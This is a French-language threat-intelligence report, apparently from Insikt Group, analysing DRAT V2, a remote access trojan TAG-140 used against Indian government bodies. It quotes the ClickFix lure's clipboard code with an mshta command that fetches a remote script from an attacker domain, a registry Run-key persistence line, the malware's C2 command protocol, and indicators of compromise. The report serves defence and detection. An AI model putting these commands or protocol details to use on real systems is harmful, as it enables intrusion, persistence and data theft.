DRAT V2: Updated DRAT Emerges in TAG-140’s Arsenal
Executive Summary
Lors d'une enquête sur une récente campagne TAG-140 visant des organisations gouvernementales indiennes, Insikt Group a identifié une variante modifiée du cheval de Troie d'accès à distance DRAT (RAT), que nous avons désigné sous le nom de DRAT V2. TAG-140 présente des chevauchements avec SideCopy, un sous-groupe opérationnel considéré comme un sous-cluster ou une filiale opérationnelle de Transparent Tribe (également suivi comme APT36, ProjectM ou MYTHIC LEOPARD). TAG-140 a constamment démontré des avancées itératives et une variété dans son arsenal de malware et ses techniques de livraison. Cette dernière campagne, qui a usurpé le ministère indien de la Défense via un portail de communiqués de presse cloné, marque un changement léger, mais notable en termes d'architecture des malwares et de fonctionnalités de commande et de contrôle (C2).
Le déploiement de DRAT V2 reflète le perfectionnement continu de l'outil d'accès à distance de TAG-140, qui est passé d'une version de DRAT basée sur .NET à une nouvelle variante compilée en Delphi. Ces deux versions font partie des nombreux RAT utilisés par le groupe, tels que CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore et ReverseRAT, ce qui indique un modèle d'utilisation rotative des malwares. DRAT V2 met à jour son protocole C2 personnalisé basé sur TCP, initié par le serveur, et étend ses capacités fonctionnelles, y compris l'exécution de commandes shell arbitraires et une interaction améliorée avec le système de fichiers.
L'analyse de la chaîne d'infection indique que l'accès initial a été obtenu grâce à un leurre d'ingénierie sociale de type ClickFix. Les victimes ont été incitées à exécuter un script malveillant via mshta.exe, ce qui a conduit à l'exécution du chargeur .NET BroaderAspect, qui a déjà été utilisé par TAG-140. BroaderAspect garantit la persistance, puis l'installation et l'exécution de DRAT V2.
Insikt Group attribue cette activité à TAG-140 avec une confiance modérée basée sur le chevauchement de domaines, la lignée des malwares et les caractéristiques de l'infrastructure. Les améliorations apportées par DRAT V2 suggèrent une augmentation probable de la capacité de TAG-140 à effectuer une post-exploitation sur mesure et à se déplacer latéralement dans les réseaux des victimes. Son émergence est donc un indicateur pertinent de la maturité du métier de l'acteur malveillant et du ciblage stratégique des institutions gouvernementales et de défense de l'Inde.
Key Findings
- DRAT V2 ajoute une nouvelle commande(exec_this_comm) pour l'exécution arbitraire de commandes shell, améliorant ainsi la flexibilité de la post-exploitation.
- Le malware dissimule ses adresses IP C2 à l'aide d'un codage Base64 avec des chaînes de caractères prédéfinies afin d'empêcher un décodage direct.
- Par rapport à son prédécesseur, DRAT V2 réduit la dissimulation des chaînes de caractères en conservant la plupart des en-têtes de commande en texte clair, privilégiant probablement la fiabilité de l'analyse syntaxique à la furtivité.
- DRAT V2 met à jour son protocole TCP personnalisé initié par le serveur afin de prendre en charge les commandes saisies en ASCII et en Unicode, tout en répondant uniquement en ASCII.
- DRAT V2 ne dispose pas de techniques anti-analyse avancées et s'appuie sur des méthodes d'infection et de persistance de base, ce qui le rend détectable par une analyse statique et comportementale.
Background
TAG-140 est un groupe d'acteurs malveillants qui recoupe le groupe Sidecopy, un groupe de menaces persistantes avancées (APT) soupçonné d'être aligné sur l'État pakistanais et considéré comme un sous-cluster ou une filiale opérationnelle de Transparent Tribe (également repéré sous le nom d'APT36, ProjectM ou MYTHIC Leopard). Actif depuis au moins 2019, TAG-140 cible principalement des entités indiennes, avec une activité récente qui s'est étendue au-delà des secteurs traditionnels du gouvernement, de la défense, de la marine et de l'université pour inclure maintenant des organisations affiliées aux ministères des chemins de fer, du pétrole et du gaz, et des affaires extérieures du pays.
Le groupe a démontré (1, 2, 3) une évolution constante de son savoir-faire : il utilise des campagnes de spearphishing, des applications HTML (HTA) ou des paquets Microsoft Installer (MSI) pour la distribution, exploite des vulnérabilités logicielles (par exemple, WinRAR) et utilise de nombreux RAT différents tels que CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore, ReverseRAT et DRAT. Leurs chaînes d'infection ciblent généralement les environnements Windows et Linux.
Insikt Group a analysé des objets provenant d'une récente campagne ClickFix usurpant le ministère indien, que nous avons attribuée aux acteurs malveillants TAG-140. TAG-140 a créé un site Web contrefait imitant le portail officiel de communiqués de presse du ministère indien de la Défense en utilisant le domaine malveillant email[.]gov[.]in[.]drdosurvey[.]info, qui ressemble beaucoup au site Web gouvernemental légitime mod[.]gov[.]in. (urlscan.io). Le site Web cloné a reproduit la structure et la mise en page du portail authentique, répertoriant les communiqués de presse de septembre 2023 à avril 2025. Cependant, seul le lien de mars 2025 était actif.
Figure 1 : Portail cloné du ministère de la Défense (Source : Hunt.io)
En cliquant sur le lien actif de mars 2025, vous avez déclenché une attaque d'ingénierie sociale de type ClickFix. Insikt Group a effectué une analyse supplémentaire de la chaîne d'infection Windows du TAG-140 et a déterminé qu'elle était similaire à une chaîne d'infection signalée par Seqrite Labs dans le cadre de ses recherches sur l'activité du TAG-140, identifiées fin 2024. Notre analyse de la chaîne d'infection (Figure 2) révèle que la charge utile finale est une nouvelle variante de DRAT basée sur Delphi (appelée DRAT V2). Auparavant, DRAT a été développé en .NET et a été attribué pour la première fois à l'activité de SideCopy en 2023. La variante mise à jour comprend de nouvelles fonctionnalités de commandement et un protocole C2 légèrement modifié.
Figure 2 : Chaîne d'infection TAG-140 déployant DRAT V2 (Source : Recorded Future)
-
L'utilisateur est dirigé vers l'URL ci-dessous (urlscan.io). Bien que nous ne connaissions pas le mécanisme de diffusion utilisé, basé sur les tactiques, techniques et procédures (TTP) du TAG-140, il s'agit probablement d'un e-mail de spearphishing incitant l'utilisateur à cliquer sur le lien. L'utilisateur est ensuite incité à cliquer sur le lien « Sortie mars 2025 ». Depuis un ordinateur Windows, cliquer sur ce lien redirige l'utilisateur vers l'identifiant de ressource uniforme (URI) /captcha/windows.php.
hxxps://email[.]gov[.]in[.]drdosurvey[.]info/content/press-releases-ministry-defence-0.html - Le site Web redirigé (urlscan.io) affiche l'avertissement « **Divulgation - Pour usage officiel uniquement (FOUO) ** » et demande à l'utilisateur de cliquer sur « Continuer ».
-
En cliquant sur « continuer », vous exécutez un script JavaScript qui copie la commande malveillante ci-dessous dans le presse-papiers et vous invite à la coller et à l'exécuter dans un shell de commande. La commande utilise mshta.exe pour récupérer et exécuter un script distant (index.php/sysinte.hta). depuis l'infrastructure de TAG-140, _trade4wealth[.]in_.
const calcPath = "C:\\Windows\\System32\\mshta.exe
hxxps://trade4wealth[.]in/admin/assets/css/default/index.php";
navigator.clipboard.writeText(calcPath) -
L'exécution de index.php/sysinte.hta crée et exécute le chargeur BroaderAspect, signalé pour la première fois par Seqrite Labs. BroaderAspect effectue les actions suivantes :
-
Téléchargez et ouvrez le document de leurre survey.pdf à partir de l'URL suivante :
hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/01/survey.pdf -
Crée et exécute un fichier batch Windows nommé noway.bat, qui contient une commande établissant la persistance de DRAT v2 en ajoutant une entrée de registre à un emplacement de démarrage automatique défini par Microsoft.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Edgre" /t REG_SZ /F /D "cmd /C start C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf -
Télécharge et décompresse la charge utile DRAT V2 à partir des URL suivantes :
Initial Request: hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/02
Redirect: hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/02/ayty.ert -
Exécute DRAT V2 avec la commande suivante :
C:\Windows\system32\cmd.exe /c cmd /C start
C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf
-
Téléchargez et ouvrez le document de leurre survey.pdf à partir de l'URL suivante :
Insikt Group attribue cette activité à TAG-140 avec un niveau de confiance modéré sur la base des aspects suivants :
- L'usurpation d'identité et le ciblage d'organisations de défense indiennes, telles que le ministère indien de la Défense, correspondent aux cibles connues du programme TAG-140.
- L'utilisation du chargeur BroaderAspect et du DRAT (l'une ou l'autre des variantes), qui semblent tous deux être exclusivement utilisés par le TAG-140 (1, 2), est conforme aux TTP du TAG-140.
- Le domaine email[.]gov[.]in[.]drdosurvey[.]info se recoupe avec d'autres attaques d'APT36(1, 2) et utilise Namecheap comme hébergeur. Nous avons observé à plusieurs reprises que TAG-140 utilise couramment Namecheap, ainsi que GoDaddy et Hostinger (1, 2, 3, 4).
- En plus de DRAT V2, TAG-140 a précédemment utilisé des malwares basés sur Delphi, tels que le RAT AllaKore open source.
Analyse technique
DRAT V2 est un RAT léger développé en Delphi et représente une évolution de la variante antérieure basée sur .NET, attribuée pour la première fois à TAG-140 en 2023. DRAT V2 introduit plusieurs mises à jour par rapport à son prédécesseur, y compris :
- Une mise à jour de son protocole C2 personnalisé initié par le serveur TCP
- Dissimulation Base64 améliorée de l'infrastructure C2 avec l'ajout de chaînes de caractères prédéfinies
- Mise à jour des en-têtes de commande et ajout d'une nouvelle commande pour l'exécution de commandes Windows arbitraires
La Figure 3 donne un aperçu général de DRAT V2.
Figure 3 : Résumé du DRAT V2 (Source : Recorded Future)
DRAT V2 prend en charge un ensemble de commandes permettant aux opérateurs du TAG-140 d'effectuer un large éventail d'interactions avec des hôtes compromis. Une fois la communication établie, le malware attend passivement les instructions du serveur C2. Les opérations prises en charge comprennent la reconnaissance du système, comme la collecte du nom d'utilisateur, de la version du système d'exploitation, de l'heure du système et du répertoire de travail actuel, ainsi que la validation de la connectivité et l'énumération des systèmes de fichiers et des répertoires locaux.
Au-delà de la reconnaissance, DRAT V2 facilite un engagement plus actif avec l'environnement cible. Il permet des transferts de fichiers dans les deux sens entre l'hôte et l'infrastructure C2, ce qui permet aux opérateurs de télécharger des charges utiles supplémentaires ou d'exfiltrer des données. En outre, il prend en charge l'exécution de fichiers locaux et de commandes arbitraires de l'interpréteur de commandes Windows, en renvoyant la sortie au C2. Ces fonctions permettent à TAG-140 d'exercer un contrôle persistant et flexible sur le système infecté et de mener des activités de post-exploitation automatisées et interactives sans nécessiter le déploiement d'outils auxiliaires de malwares. Figure 4 fournit un résumé des capacités de DRAT V2.
Figure 4 : Matrice des capacités du DRAT V2 (Source : Recorded Future)
Commandes DRAT V2
DRAT V2 continue d'utiliser une interface de commande qui utilise un protocole TCP personnalisé, basé sur du texte et initié par le serveur, pour prendre en charge les capacités de contrôle à distance sur un hôte compromis. L'exécution de commandes, la manipulation de fichiers et la reconnaissance du système sont possibles grâce à un format structuré.
Le protocole de commande DRAT V2 se distingue par l'utilisation des caractères tilde (~) et barre verticale (|) comme délimiteurs. Après avoir établi la connectivité avec son infrastructure C2, le malware passe à l'état passif et attend les instructions du serveur. Ces instructions couvrent neuf types de commandes distinctes(tableau 1), englobant des capacités telles que la reconnaissance de l'hôte, la gestion des fichiers et l'exécution directe. Chaque commande suit un format déterministe, permettant à l'opérateur d'orchestrer les actions post-compromission de manière cohérente et avec une faible surcharge.
DRAT V2 Command | Capacité | Description |
initial_infotonas | Informations système | Cette commande lance une reconnaissance au niveau du système en demandant des informations sur l'environnement hôte, notamment le nom d'utilisateur, la version du système d'exploitation, l'horodatage et le répertoire de travail. La réponse est structurée en sept domaines. |
sup | Test d'écho/de connectivité | Cette commande est utilisée pour vérifier la communication active avec l'hôte compromis. |
lst_of_sys_drvs | Lister les volumes | Cette commande permet à DRAT V2 d'énumérer les lecteurs logiques accessibles sur la machine cible. |
here_are_dir_details | Lister les répertoires et fichiers avec des informations | Cette commande récupère des métadonnées structurées pour les répertoires et fichiers, y compris le nom, la taille, l'horodatage et le chemin. L'implémentation contient notamment une faille dans laquelle le chemin d'accès complet est concaténé de manière incorrecte avec les entrées suivantes, ce qui peut avoir un impact sur l'analyse des opérateurs. |
filina_for_down | Taille du fichier | Cette commande permet de récupérer la taille en octets d'un fichier spécifié. |
file_upl | Chargement de fichiers | Cette commande prend en charge le transfert de fichiers du C2 vers l'hôte cible. La commande requiert la spécification du chemin d'accès et de la taille du fichier, ce qui facilite la mise en place de la charge utile ou le déploiement d'outils secondaires. |
this_filina_exec | Exécution de fichier | Cette commande exécute un fichier spécifié sur le système hôte. Cette fonctionnalité permet la livraison de charges utiles supplémentaires ou l'exécution de fichiers binaires existants dans le système de fichiers local. |
fil_down_confirmina | Téléchargement de fichier | Cette commande permet l'exfiltration de fichiers du système de la victime vers le serveur C2. Contrairement à d'autres réponses, il n'y a pas d'en-tête de réponse et seul le contenu du fichier brut est envoyé au C2. |
exec_this_comm | Exécution de commande | Cette commande permet l'exécution d'une commande shell arbitraire sur l'hôte infecté. Cela apporte une grande flexibilité aux opérations interactives, en permettant l'attribution de tâches en temps réel et des activités post-exploitation à la demande. |
Tableau 1 : Commandes DRAT V2 (Source : Recorded Future)
Ce jeu de commandes permet au TAG-140 de répondre à une série d'objectifs post-exploitation, notamment la reconnaissance de l'hôte, le stockage des données et les éventuels mouvements latéraux. En particulier, DRAT V2 étend la fonctionnalité de son prédécesseur en incorporant la prise en charge de l'exécution de commandes arbitraires. L'annexe B fournit une description détaillée de chaque commande, y compris les paramètres.
La figure 5 montre un exemple de communication entre un hôte infecté et le C2. Dans cet exemple, le serveur C2 envoie la commande exec_this_comm~whoami, qui ordonne à l'hôte infecté d'exécuter la commande whoami. L'hôte infecté répond ensuite avec la sortie de la commande.
Figure 5 : Paquets de requêtes et de réponses d'exécution de commandes DRAT V2 enregistrés et affichés par Wireshark (Source : Recorded Future)
DRAT vs DRAT V2
Cette analyse comparative met en évidence les différences techniques et opérationnelles entre le DRAT original et le DRAT V2. Le changement de plateforme de développement marque une transition architecturale importante qui affecte la façon dont les malwares sont compilés, exécutés et potentiellement détectés. Bien que les deux variantes conservent des fonctionnalités de base similaires à celles des RAT légers, DRAT V2 apporte des améliorations significatives à sa structure de commande, à ses techniques de dissimulation C2 et à son protocole de communication, tout en minimisant l'utilisation de la dissimulation des chaînes. Ces adaptations reflètent probablement les efforts continus du TAG-140 pour faire évoluer son outillage afin d'améliorer l'évasion, la modularité et la flexibilité des opérations de post-exploitation.
Variation de l'en-tête de commande
Bien que les deux variantes de DRAT mettent en œuvre des commandes similaires pour l'administration à distance, chaque version utilise des conventions de dénomination distinctes pour les en-têtes de commande. Par exemple, la commande d'information système de DRAT est intitulée getInformitica, alors que DRAT V2 utilise initial_infotonas. DRAT V2 a également introduit une nouvelle commande, exec_this_comm, qui permet d'exécuter des commandes shell arbitraires sur l'hôte infecté, une amélioration qui n'était pas présente dans le DRAT d'origine et qui indique des capacités de post-exploitation étendues. Le tableau comparatif ci-dessous (Tableau 2) présente une ventilation détaillée, ligne par ligne, des en-têtes de requête et de réponse dans les deux versions. Dans ce tableau, les mappages de commandes surlignés en vert indiquent les commandes qui sont conservées fonctionnellement dans les deux variantes, tandis que les éléments surlignés en jaune représentent les nouveaux ajouts exclusifs à DRAT V2.
Commande | En-tête de commande DRAT | En-tête de commande DRAT V2 |
Demande d'information système | getInformitica | initial_infotonas |
Réponse d'information système | informiticaBack| | my_ini_info| |
Demande de test d'écho/de connectivité | sup | sup |
Réponse du test d'écho/de connectivité | supconfirm | hello_frm_me |
Demande de liste des volumes | drivesList | lst_of_sys_drvs |
Réponse de la liste des volumes | drivesList | lst_of_sys_drvs |
Liste des répertoires et des fichiers avec demande d'information | enterPath | here_are_dir_details |
Liste des répertoires et des fichiers avec réponses aux informations | enterPath | here_are_dir_details |
Demande de taille de fichier | fdl | filina_for_down |
Réponse de la taille du fichier | fInfo | fileina_detailwa |
Demande de chargement de fichier | fup | file_upl |
Réponse de chargement de fichier | fupConfirm | file_upl_confrm |
Demande d'exécution de fichier | fupexec | this_filina_exec |
Réponse d'exécution de fichier | fupexecConfirm fileExecuted |
file_exec_confirm |
Demande de téléchargement de fichier | fdlConfirm | fil_down_confirmina |
Demande d'exécution de commande | exec_this_comm | |
Réponse d'exécution de commande | comm_resultwa | |
Réponse de téléchargement de fichier | [Contenu du fichier] | [Contenu du fichier] |
Tableau 2 : Comparaison des commandes entre DRAT et DRAT V2 (Source : Recorded Future)
Format du texte dans les communications C2
Les deux versions exploitent des protocoles de communication textuels pour les interactions C2. Cependant, leurs exigences d'encodage diffèrent : le DRAT V2 accepte les commandes en Unicode et en ASCII, mais répond toujours en ASCII, alors que le DRAT d'origine impose l'Unicode en entrée et en sortie (Figure 6).
Figure 6 : demande et réponse des volumes de la liste DRAT V1 enregistrées et affichées par Wireshark (source : Recorded Future)
Différences entre les informations du système
La réponse des informations système des deux versions présente de nombreuses similitudes, mais plusieurs différences existent, notamment le texte en Unicode, des en-têtes de demande de commande différents et WinDefender au lieu de win-def, tous deux codés en dur. Enfin, le format de la version Windows dans la réponse des informations système varie entre DRAT et DRATV2. DRAT renvoie simplement la valeur de la clé de registre Software\Microsoft\Windows NT\CurrentVersion\ProductName, tandis que DRAT V2 obtient la version de Windows à l'aide de l'appel API GetVersionExW() et renvoie une chaîne personnalisée codée en Base64 dans le code source. Tableau 3 décrit les différences entre les deux commandes.
Composants d'informations système | Réponse d'information du système DRAT | Réponse aux informations du système DRAT V2 |
Séparateur de commande | Les données après le caractère ~ de la requête entrante | Les données après le caractère ~ de la requête entrante |
N.A Field | « N.A » codé en dur | « N.A » codé en dur |
Champ du nom d'utilisateur | Nom d'utilisateur récupéré via SystemInformation.Username() | Nom d'utilisateur récupéré via System::Sysutils:: GetEnvironmentVariable("USERNAME") |
Champ de version Windows | La version de Windows récupérée par : Software\Microsoft\Windows NT\CurrentVersion\ProductName Exemple : Windows 10 Pro |
La version de Windows récupérée par GetVersionExW() est traduite en l'une des options suivantes :
|
Champ d'identification | Win Defender codé en dur | win-def codé en dur |
Champ horodateur | Date et heure actuelles au format DD/MM/YYYY HH:MM:SS AM/PM, récupérées via DateTime.Now.toString () | Date et heure actuelles au format YYYY-MM-DD HH:MM:SS, récupérées via SysUtils::Now() |
Champ de chemin de travail | Chemin complet du répertoire de travail | Chemin complet du répertoire de travail |
Tableau 3 : champs de demande d'informations et de réponse du système DRAT vs DRAT V2 (Source : Recorded Future)
Différences dans l'obfuscation C2
Dans les deux variantes de DRAT, les informations C2 sont encodées en Base64. DRAT encode directement l'adresse IP C2, tandis que DRAT V2 modifie son approche de l'obscurcissement C2 en ajoutant l'une des chaînes suivantes à l'adresse IP avant l'encodage en Base64 :
- <><><><><><><><><><><>
- XXXXXXXXXXXXXXXXXXXXXX
Exemple d'IP C2 encodée avec préfixe : PD48Pjw+PD48Pjw+PD48Pjw+PD48PjE4NS4xMTcuOTAuMjEy Exemple d'IP C2 décodée avec préfixe : 185.117.90.212 |
Ces motifs ajoutés servent probablement de contrôles d'intégrité rudimentaires ou permettent d'éviter un décodage trivial par les analystes et les outils automatisés.
Dissimulation de chaîne
Les stratégies de dissimulation des chaînes diffèrent également entre les variantes. DRAT utilise un schéma plus étendu, employant un algorithme de substitution pour encoder à la fois les commandes et les chaînes opérationnelles. DRAT V2, quant à lui, dissimule sélectivement les chaînes, telles que la version de Windows et les informations C2, mais laisse les en-têtes de commande en clair. Cette approche de dissimulation limitée dans DRAT V2 pourrait représenter un compromis entre la furtivité et la fiabilité de l'analyse.
Détections
![]() |
|
Snort
![]() |
|
Sigma
![]() |
|
YARA
![]() |
|
Mitigations
- Bloquez ou surveillez les connexions TCP sortantes vers des ports de destination peu courants utilisés par DRAT V2 pour les opérations C2, tels que 3232, 6372 et 7771. Surveillez le trafic TCP anormal qui ne correspond pas aux protocoles connus ciblant les ports à numérotation élevée.
- Inspectez le trafic réseau à la recherche de réponses de commandes sortantes et d'instructions de commandes shell entrantes(annexe B) encodées aux formats Base64, ASCII ou Unicode. Mettez l'accent sur le décodage et l'inspection du trafic, en particulier sur les sessions TCP établies sur des ports inhabituels.
- Utilisez les règles de détection de ce rapport pour identifier l'exécution et la persistance de DRAT V2 via des clés d'exécution de registre, des chargeurs basés sur des fichiers et des modèles C2 codés. Déployez des règles YARA personnalisées pour détecter les échantillons DRAT compilés en .NET et en Delphi.
- Déployez une logique de détection pour surveiller , qui invoque des scripts distants ou lance des charges utiles secondaires. Il s'agit d'un élément clé de la chaîne d'infection, où des scripts HTA malveillants récupèrent et lancent des chargeurs DRAT tels que BroaderAspect.
- Surveillez les événements de modification du registre, en particulier ceux impliquant HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. TAG-140 les utilise pour la persistance en exécutant DRAT V2 via des noms de fichiers déguisés dans C:\Users\Public</span>.
Outlook
Le déploiement de DRAT V2 par TAG-140 est conforme à la pratique de longue date du groupe consistant à maintenir une suite étendue et interchangeable de chevaux de Troie d'accès à distance. Cette diversification continue complique les activités d'attribution, de détection et de surveillance. DRAT V2 semble être un autre ajout modulaire plutôt qu'une évolution définitive, renforçant la probabilité que TAG-140 continue de faire tourner les RAT d'une campagne à l'autre pour masquer les signatures et maintenir la flexibilité opérationnelle.
Malgré ces difficultés, la chaîne d'infection DRAT V2 utilise peu de techniques d'évasion défensive ou d'anti-analyse. L'absence de dissimulation du code, de contournement du bac à sable ou de comportements complexes du chargeur augmente la possibilité d'une détection précoce grâce à la télémétrie de base et à l'analyse statique. Les équipes de sécurité devraient s'attendre à poursuivre leurs expériences en matière d'outils de malware et de chaînes d'infection. La surveillance de l'infrastructure de spearphishing, de la réutilisation des chargeurs et des indicateurs comportementaux, plutôt que des familles de malwares spécifiques, sera essentielle pour maintenir la visibilité de l'activité du TAG-140.
Annexe A : Indicateurs de compromission
DRAT V2
ce98542131598b7af5d8aa546efe8c33a9762fb70bff4574227ecaed7fff8802 0d68012308ea41c6327eeb73eea33f4fb657c4ee051e0d40a3ef9fc8992ed316 c73d278f7c30f8394aeb2ecbf8f646f10dcff1c617e1583c127e70c871e6f8b7 DRAT 830cd96aba6c328b1421bf64caa2b64f9e24d72c7118ff99d7ccac296e1bf13d c328cec5d6062f200998b7680fab4ac311eafaf805ca43c487cda43498479e60 DRAT V2 C2 185[.]117[.]90[.]212:7771 154[.]38[.]175[.]83:3232 178[.]18[.]248[.]36:6372 DRAT C2 38[.]242[.]149[.]89:61101 |
Annexe B : paramètres de commande et réponse du DRAT V2
Informations système
Cette commande initial_infotonas lance une reconnaissance au niveau du système en demandant des informations sur l'environnement hôte, notamment le nom d'utilisateur, la version du système d'exploitation, l'horodatage et le répertoire de travail. La réponse est structurée en sept domaines.
En-tête de requête d'informations système | Paramètres | Description du paramètre |
initial_infotonas | 1 | Inconnu : des numéros séquentiels ont été observés |
En-tête de réponse aux informations du système | Paramètres | Description du paramètre | |||||||
my_ini_info| | 7 |
|
Test d'écho/de connectivité
La commande sup est utilisée pour vérifier la communication active avec l'hôte compromis.
En-tête de requête de test d'écho/de connectivité | Paramètres | Description du paramètre |
sup | 0 |
En-tête de réponse d'exécution de commande | Paramètres | Description du paramètre |
hello_frm_me | 0 |
Lister les volumes
La commande lst_of_sys_drvs permet à DRAT V2 d'énumérer les lecteurs logiques accessibles sur la machine cible.
En-tête de demande de volumes de liste | Paramètres | Description du paramètre |
lst_of_sys_drvs | 0 |
En-tête de réponse de la liste des volumes | Paramètres | Description du paramètre |
lst_of_sys_drvs | 1 |
Liste des volumes dans le format suivant : [volume letter 1]:\1000000\r\n[volume letter 2]1000000\r\n[volume letter n]1000000\r\ |
Liste des répertoires avec attributs
La commande here_are_dir_details récupère les métadonnées structurées des répertoires et des fichiers, y compris le nom, la taille, l'horodatage et le chemin. L'implémentation contient notamment une faille dans laquelle le chemin d'accès complet est concaténé de manière incorrecte avec les entrées suivantes, ce qui peut avoir un impact sur l'analyse des opérateurs.
En-tête de demande de répertoires de liste | Paramètres | Description du paramètre |
here_are_dir_details | 1 | Chemin du répertoire |
En-tête de réponse de répertoires de liste | Paramètres | Description du paramètre |
here_are_dir_details | 1 |
Liste des sous-répertoires et des fichiers dotés d'attributs au format suivant, séparés par « + » :
|
Taille du fichier
La commande filina_for_down est utilisée pour obtenir la taille en octets d'un fichier spécifié.
En-tête de demande de taille de fichier | Paramètres | Description du paramètre |
filina_for_down | 1 | Chemin d'accès au fichier |
En-tête de réponse de la taille du fichier | Paramètres | Description du paramètre |
fileina_detailwa | 1 | Taille en octets du fichier |
Chargement de fichiers
La commande file_upl~ prend en charge le transfert de fichiers du C2 vers l'hôte cible. La commande requiert la spécification du chemin d'accès et de la taille du fichier, ce qui facilite la mise en place de la charge utile ou le déploiement d'outils secondaires.
En-tête de demande de chargement de fichier | Paramètres | Description du paramètre |
fil_upl~ | 2 | Chemin d'accès et taille du fichier |
En-tête de réponse de chargement de fichier | Paramètres | Description du paramètre |
fil_upl_confrm | 0 |
Exécution de fichier
La commande this_filina_exec exécute un fichier spécifié sur le système hôte. Cette fonctionnalité permet la livraison de charges utiles supplémentaires ou l'exécution de fichiers binaires existants dans le système de fichiers local.
En-tête de demande d'exécution de fichier | Paramètres | Description du paramètre |
this_filina_exec | 1 | Chemin complet du fichier à exécuter |
Réponse d'exécution de fichier |
file_exec_confirm |
Téléchargement de fichier
La commande fil_down_confirmina permet l'exfiltration de fichiers du système victime vers le serveur de commande et de contrôle (C2). Contrairement à d'autres réponses, il n'y a pas d'en-tête de réponse et seul le contenu du fichier brut est envoyé au C2.
En-tête de demande de téléchargement de fichier | Paramètres | Description du paramètre |
fil_down_confirmina | 1 | Chemin complet du fichier à télécharger |
En-tête de réponse de téléchargement de fichier | Paramètres | Description du paramètre |
N’a pas d’en-tête | 0 | Contenu brut du fichier |
Exécution de commande
La commande exec_this_comm permet l'exécution de commandes shell arbitraires sur l'hôte infecté. Cela apporte une grande flexibilité aux opérations interactives, en permettant l'attribution de tâches en temps réel et des activités post-exploitation à la demande.
En-tête de requête d'exécution de commande | Paramètres | Description du paramètre |
exec_this_comm | 1 | Commande Windows |
En-tête de réponse d'exécution de commande | Paramètres | Description du paramètre |
comm_resultwa | 1 | Réponse à une commande Windows demandée |
Pour consulter l’intégralité de l’analyse, cliquez ici pour télécharger le rapport au format PDF.
Related